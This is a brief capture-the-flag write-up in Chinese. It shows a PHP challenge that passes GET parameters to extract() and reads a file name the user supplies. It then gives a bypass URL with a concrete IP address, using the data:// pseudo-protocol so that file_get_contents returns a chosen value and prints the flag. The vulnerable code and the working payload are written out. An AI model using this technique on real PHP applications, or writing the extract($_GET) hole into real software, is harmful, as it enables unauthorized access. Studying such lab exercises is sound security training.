<?php
extract($_GET);
if (!empty($ac)){
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}
else{
echo "<p>sorry!</p>";
}
}
?>这里涉及到几个不常用的函数
这里直接构建绕过语句
114.67.175.224:18451/?ac=1&fn=data://text/plain,1这里传递参数ac，并将其赋值为1
然后传递参数为fn，并利用伪协议创造text类型文件plain，并填充其值为1
之后通过file_get_contents函数，读取构建出的虚拟文件plain，得到f变量的值为1，从而通过判断
这里的plain为文件名可以随意取，text为类型同样可以随意
